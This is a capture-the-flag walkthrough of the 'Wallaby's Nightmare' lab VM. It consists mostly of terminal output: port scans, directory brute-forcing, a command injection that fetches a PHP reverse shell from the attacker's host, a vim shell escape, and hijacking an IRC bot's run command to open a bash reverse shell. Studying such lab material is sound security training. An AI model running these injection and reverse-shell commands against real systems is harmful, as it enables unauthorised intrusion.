Wallaby's Nightmare
实战演练
最后更新于
最后更新于
┌──(root💀kali)-[~/Desktop]
└─# nmap -sT -sV -p1-65535 192.168.32.157
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-20 07:38 EDT
Nmap scan report for 192.168.32.157
Host is up (0.00074s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
6667/tcp filtered irc
MAC Address: 00:0C:29:03:CE:57 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds┌──(root💀kali)-[~/Desktop]
└─# dirb http://192.168.32.157:60080/index.php?page= /usr/share/wordlists/dirb/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Jun 20 07:56:15 2022
URL_BASE: http://192.168.32.157:60080/index.php?page=
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://192.168.32.157:60080/index.php?page= ----
+ http://192.168.32.157:60080/index.php?page=blacklist (CODE:200|SIZE:991)
+ http://192.168.32.157:60080/index.php?page=cgi-bin/ (CODE:200|SIZE:897)
+ http://192.168.32.157:60080/index.php?page=contact (CODE:200|SIZE:895)
+ http://192.168.32.157:60080/index.php?page=home (CODE:200|SIZE:1144)
+ http://192.168.32.157:60080/index.php?page=index (CODE:200|SIZE:1359)
+ http://192.168.32.157:60080/index.php?page=mailer (CODE:200|SIZE:1082)
-----------------
END_TIME: Mon Jun 20 07:56:31 2022
DOWNLOADED: 20458 - FOUND: 6http://192.168.32.157:60080/index.php?page=mailer&mail=wget%20%20http://192.168.32.130:8000/php-reverse-shell.php$ sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
(ALL) NOPASSWD: /sbin/iptables $ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- localhost anywhere tcp dpt:ircd
DROP tcp -- anywhere anywhere tcp dpt:ircd
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination irssi -c 192.168.32.157 /j wallabyschat/whois waldo
/whois wallabysbotimport sopel.module, subprocess, os
from sopel.module import example
@sopel.module.commands('run')
@example('.run ls')
def run(bot, trigger):
if trigger.owner:
os.system('%s' % trigger.group(2))
runas1 = subprocess.Popen('%s' % trigger.group(2), stdout=subprocess.PIPE).communicate()[0]
runas = str(runas1)
bot.say(' '.join(runas.split('\\n')))
else:
bot.say('Hold on, you aren\'t Waldo?')$ cat irssi.sh
#!/bin/bash
tmux new-session -d -s irssi
tmux send-keys -t irssi 'n' Enter
tmux send-keys -t irssi 'irssi' Entersudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf[ESC]:!kill 732 [ENTER]/nick waldo.run bash -c 'bash -i >& /dev/tcp/192.168.32.130/17777 0>&1'